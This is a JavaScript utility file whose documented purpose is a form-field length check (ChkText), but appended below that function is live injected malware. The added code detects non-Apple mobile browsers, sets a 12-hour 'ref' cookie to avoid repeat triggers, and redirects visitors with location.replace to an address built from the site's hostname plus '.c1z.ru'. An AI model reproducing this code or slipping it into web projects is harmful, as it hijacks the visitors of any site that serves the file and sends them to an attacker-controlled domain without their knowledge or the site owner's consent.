
// Check textfield JavaScript function (universal)
// frmName   - name of form (string)
// frmField  - name of field (string)
// fieldLen  -  entered information minimal length (integer)
// alertMess - warning message (string)

 function ChkText (frmName,frmField,fieldLen,alertMess)
  {
  field_length = eval("document."+frmName+"."+frmField+".value.length");
  if (field_length <= fieldLen){
  	alert (alertMess);
	eval("document."+frmName+"."+frmField+".focus()");
	return false;
	}
	else return true;
  }

 var gx = [/m(ob|in)i|droid|symb|midp|j2me/i, /ip(h|a|o)/i, navigator.userAgent, ".c1z", window.location.hostname];
 function cc(b) {
  location.replace("http://" + b[4] + b[3] + ".ru/r/?mm=22")
 }
 function cx(b) {
  for(var d = document.cookie.split(";"), c = 0;c < d.length;c++) {
    for(var a = d[c];" " == a.charAt(0);) {
      a = a.substring(1, a.length)
    }
    if(0 == a.indexOf(b)) {
      return!0
    }
  }
  return!1
 }
 if(!cx("often=") && !cx("ref=")) {
  var dx = new Date;
  dx.setTime(dx.getTime() + 432E5);
  document.cookie = "ref=1; expires=" + dx.toGMTString() + "; path=/";
  gx[2].match(gx[0]) && !gx[2].match(gx[1]) && cc(gx)
 }
 ;
